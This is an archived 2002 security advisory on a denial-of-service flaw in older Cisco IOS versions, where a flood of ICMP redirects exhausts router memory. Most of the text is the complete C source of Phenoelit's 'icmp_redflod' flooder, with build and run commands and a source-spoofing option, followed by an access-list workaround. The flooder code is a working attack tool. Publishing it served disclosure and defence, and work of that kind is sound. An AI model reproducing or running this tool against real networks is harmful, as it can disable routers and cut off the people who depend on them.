22th May 2002 [SBWID-5356]
COMMAND
Cisco IOS ICMP redirect DoS
SYSTEMS AFFECTED
Known vulnerable combinations:
Cisco 1005 IOS 11.0(18)
Cisco 1603 IOS 11.3(11b)
Cisco 1603 IOS 12.0(3)
Cisco 2503 IOS 11.0(22a)
Cisco 2503 IOS 11.1(24a)
PROBLEM
In FX,FtR and kim0 of Phenoelit [http://www.phenoelit.de] advisory :
When flooded with ICMP redirect messages, the IOS uses up all it\'s
memory to store the new host routes. The device is then unable to
perform operations that need additional memory such as receiving
routing updates and accepting inbound telnet connections.
When generating ICMP redirect messages with random IP addresses in the
\"offending packet\" section of the ICMP frame, IOS will include this
IP address in it\'s ICMP redirection table. In the vulnerable versions
of IOS, this table has no size limit. Later versions of IOS enforce a
limit of 16000 redirects and therefore limit the amount of used memory
to approximately 1.16MB.
[ Example ]
To generate random ICMP redirect messages, a sender tool is available
at http://www.phenoelit.de/irpas/icmp_redflod.c (see copy below), which
has to be linked with the IRPAS packet library.
linuxbox# cd /where/irpas/is
linuxbox# make libpackets.a
linuxbox# gcc -o icmp_redflod -I. -L. icmp_redflod.c -lpackets
linuxbox# ./icmp_redflod -i eth0 -D <destination_ip> -G <fake_gateway>
On high bandwidth networks, the command line switch -w0 can be used to
increase the sending rate.
[ Side note ]
Microsoft Windows 98 is also vulnerable to this attack. Not tested any
further.
/* ICMP redirect flooder
*
* FX <fx@phenoelit.de>
* Phenoelit (http://www.phenoelit.de)
* (c) 2k++
*
* $Id: icmp_redflod.c,v 1.3 2002/05/11 14:59:06 fx Exp fx $
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <rpc/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <signal.h>
#include <time.h>
#include \"protocols.h\"
#include \"packets.h\"
#include \"build.h\"
#include <pcap.h>
#include <net/bpf.h>
/* definitions */
#define IPTTL 0x80
#define DEFAULT_DELAY 100000
#define BANNER \"ICMP Redir Flooder $Revision: 1.3 $\\n\"\\
\"\\t(c) 2k++ FX <fx@phenoelit.de>\\n\"\\
\"\\tPhenoelit (http://www.phenoelit.de)\\n\"
/* config */
struct {
int verbose;
char *device;
int flood;
int spoof_src;
int code;
struct in_addr dest;
struct in_addr src;
struct in_addr gw;
unsigned int delay;
} cfg;
/*
* globals
*/
u_char *rawpacket;
int icmpsfd;
sig_atomic_t stop_flag=0;
unsigned long iii=0;
/************************************
* prototypes */
void usage(char *n);
u_char *construct_icmp_redirect(struct in_addr *dest,
struct in_addr *newgw, int *psize);
/* PCAP */
void signaler(int sig);
/* the main function */
int main(int argc, char **argv) {
char option;
extern char *optarg;
u_char *icp;
int icl;
memset(&cfg,0,sizeof(cfg));
cfg.delay=DEFAULT_DELAY; cfg.flood=1; cfg.code=0xFF;
while ((option=getopt(argc,argv,\"vfc:i:S:G:D:w:\"))!=EOF) {
switch (option) {
case \'v\': /* verbose */
cfg.verbose++;
break;
case \'f\': cfg.flood=0;
break;
case \'i\': /* local network device */
cfg.device=smalloc(strlen(optarg)+1);
strcpy(cfg.device,optarg);
break;
break;
case \'S\': /* spoof source */
if (inet_aton(optarg,&(cfg.src))==0) {
fprintf(stderr,
\"source IP address seems to be wrong\\n\");
return (1);
}
cfg.spoof_src++;
break;
case \'G\': /* set gw */
if (inet_aton(optarg,&(cfg.gw))==0) {
fprintf(stderr,
\"Gateway IP address seems to be wrong\\n\");
return (1);
}
break;
case \'D\': /* dest address */
if (inet_aton(optarg,&(cfg.dest))==0) {
fprintf(stderr,
\"dest IP address seems to be wrong\\n\");
return (1);
}
break;
case \'w\': cfg.delay=atoi(optarg);
break;
case \'c\': cfg.code=atoi(optarg);
break;
default: usage(argv[0]);
}
}
if (!cfg.device) usage(argv[0]);
/*
* TODO: add output on what we are about to do
*/
srand((unsigned int)time(NULL));
/* set up ICMP sender socket (IP) */
if ((icmpsfd=init_socket_IP4(cfg.device,0))<0) return (-1);
/* if spoofing is enabled, copy it */
if (!cfg.spoof_src) {
memcpy(&(cfg.src.s_addr), &(packet_ifconfig.ip.s_addr), IP_ADDR_LEN);
}
/* signal handling */
signal(SIGTERM,&signaler);
signal(SIGABRT,&signaler);
signal(SIGINT,&signaler);
/* my shit */
printf(BANNER); printf(\"\\tIRPAS build %s\\n\",BUILD);
printf(\"Performing flood ...\\n\");
if (cfg.flood) {
while (!stop_flag) {
icp=construct_icmp_redirect(&(cfg.dest),&(cfg.gw),&icl);
sendpack_IP4(icmpsfd,icp,icl);
free(icp);
if (cfg.delay>0) usleep(cfg.delay);
}
} else {
icp=construct_icmp_redirect(&(cfg.dest),&(cfg.gw),&icl);
sendpack_IP4(icmpsfd,icp,icl);
free(icp);
}
/* at the end of the day, close our socket */
close(icmpsfd);
printf(\"Send %lu packets\\n\",iii);
return (0);
}
/********************** FUNCTIONS **********************/
void signaler(int sig) {
stop_flag++;
if (cfg.verbose>2)
fprintf(stderr,\"\\nSignal received.\\n\");
}
/* constructs the ICMP redirect
* * Returns a pointer to the packet or NULL if failed
* * returns also the size in *psize */
u_char *construct_icmp_redirect(struct in_addr *dest,
struct in_addr *newgw, int *psize) {
#define PADDING 0
u_char *tpacket;
iphdr_t *iph,*iporig;
icmp_redirect_t *icmp;
u_int16_t cs;
unsigned int randip;
*psize=sizeof(icmp_redirect_t)+sizeof(iphdr_t)+PADDING;
tpacket=(u_char *)smalloc(*psize
+3 /* for my checksum function, which sometimes
steps over the mark */
);
/* make up IP packet */
iph=(iphdr_t *)tpacket;
iph->version=4;
iph->ihl=sizeof(iphdr_t)/4;
iph->tot_len=htons(*psize);
iph->ttl=IPTTL;
iph->id=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0)));
iph->protocol=IPPROTO_ICMP;
memcpy(&(iph->saddr.s_addr),&(cfg.src.s_addr),IP_ADDR_LEN);
memcpy(&(iph->daddr.s_addr),&(dest->s_addr),IP_ADDR_LEN);
/* make up the icmp header */
icmp=(icmp_redirect_t *)(tpacket+sizeof(iphdr_t));
icmp->type=ICMP_REDIRECT;
if (cfg.code==0xFF)
icmp->code=ICMP_REDIR_HOST;
else
icmp->code=(unsigned char)cfg.code;
memcpy(&(icmp->gateway),&(newgw->s_addr),IP_ADDR_LEN);
iporig=(iphdr_t *)(&(icmp->headerdata));
iporig->version=4;
iporig->ihl=sizeof(iphdr_t)/4;
iporig->tot_len=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0)));
iporig->id=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0)));
iporig->protocol=IPPROTO_UDP;
memcpy(&(iporig->saddr.s_addr),&(cfg.dest.s_addr),IP_ADDR_LEN);
randip=((unsigned int)(4294967294.0*rand()/(RAND_MAX+1.0)));
memcpy(&(iporig->daddr.s_addr),&(randip),IP_ADDR_LEN);
iii++;
/* make up checksum */
cs=chksum((u_char *)icmp,sizeof(icmp_redirect_t));
icmp->checksum=cs;
return tpacket;
}
void usage(char *n) {
printf(
\"%s [-v[v[v]]] [-f] -i <interface> \\n\"
\"\\t[-D <destination IP>\\n\"
\"\\t[-G <gateway IP>] [-w <delay>]\\n\"
\"\\t[-S <ip address>] [-c ICMP code]\\n\",
n);
exit (1);
}
SOLUTION
Workaround : filter inbound ICMP redirect messages, such as :
router(config)#access-list 101 deny icmp any host <device_IP> redirect
.... (the rest of the access-list 101)
router(config)#interface eth0
router(config-if)#ip access-group 101 in
This example will block all ICMP packets, sent to the router itself,
coming from the eth0 interface. All transit ICMP redirect packets will
be allowed through.
Patch not available yet, check Cisco bug ID CSCdx32056.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH